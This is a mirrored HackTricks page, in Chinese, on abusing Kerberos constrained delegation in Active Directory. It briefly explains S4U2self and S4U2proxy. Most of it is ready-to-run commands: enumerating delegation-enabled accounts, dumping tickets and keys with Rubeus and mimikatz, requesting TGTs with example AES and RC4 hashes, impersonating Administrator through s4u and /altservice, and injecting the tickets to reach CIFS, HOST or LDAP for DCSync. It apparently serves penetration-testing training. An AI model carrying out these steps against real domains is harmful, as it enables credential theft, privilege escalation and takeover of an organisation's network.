mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
5.0 KiB
Markdown
80 lines
5.0 KiB
Markdown
# 受限委派
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 受限委派
|
||
|
||
使用此功能，域管理员可以**允许**计算机**模拟用户或计算机**以访问机器的**服务**。
|
||
|
||
- **用户自我服务（**_**S4U2self**_**）：** 如果**服务账户**的_userAccountControl_值包含[TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D)，则它可以代表任何其他用户为自己（该服务）获取TGS。
|
||
- **用户代理服务（**_**S4U2proxy**_**）：** **服务账户**可以代表任何用户为在**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此，它首先需要从该用户获取TGS，但可以使用S4U2self在请求另一个之前获取该TGS。
|
||
|
||
**注意**：如果用户在AD中标记为‘_账户是敏感的，无法被委派_’，则您将**无法模拟**他们。
|
||
|
||
这意味着如果您**破解了服务的哈希**，您可以**模拟用户**并代表他们获得对**配置的服务**的**访问**（可能的**特权提升**）。
|
||
|
||
此外，您**不仅可以访问用户能够模拟的服务，还可以访问任何服务**，因为SPN（请求的服务名称）没有被检查，只有权限。因此，如果您可以访问**CIFS服务**，您也可以使用Rubeus中的`/altservice`标志访问**HOST服务**。
|
||
|
||
此外，**DC上的LDAP服务访问**是利用**DCSync**所需的。
|
||
```bash:Enumerate
|
||
# Powerview
|
||
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
|
||
#ADSearch
|
||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
||
```
|
||
|
||
```bash:Get TGT
|
||
# The first step is to get a TGT of the service that can impersonate others
|
||
## If you are SYSTEM in the server, you might take it from memory
|
||
.\Rubeus.exe triage
|
||
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
|
||
|
||
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
|
||
## Get AES/RC4 with mimikatz
|
||
mimikatz sekurlsa::ekeys
|
||
|
||
## Request with aes
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
||
|
||
# Request with RC4
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||
```
|
||
> [!WARNING]
|
||
> 有**其他方法可以获取TGT票证**或**RC4**或**AES256**，而不需要在计算机上成为SYSTEM，例如打印机漏洞和不受限制的委派、NTLM中继和Active Directory证书服务滥用。
|
||
>
|
||
> **仅凭该TGT票证（或哈希），您可以在不危害整个计算机的情况下执行此攻击。**
|
||
```bash:Using Rubeus
|
||
#Obtain a TGS of the Administrator user to self
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||
|
||
#Obtain service TGS impersonating Administrator (CIFS)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||
|
||
#Impersonate Administrator on different service (HOST)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
||
|
||
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
|
||
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
|
||
|
||
#Load ticket in memory
|
||
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
||
```
|
||
|
||
```bash:kekeo + Mimikatz
|
||
#Obtain a TGT for the Constained allowed user
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
|
||
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
||
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
||
|
||
#Load the TGS in memory
|
||
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
||
```
|
||
[**更多信息请访问 ired.team。**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|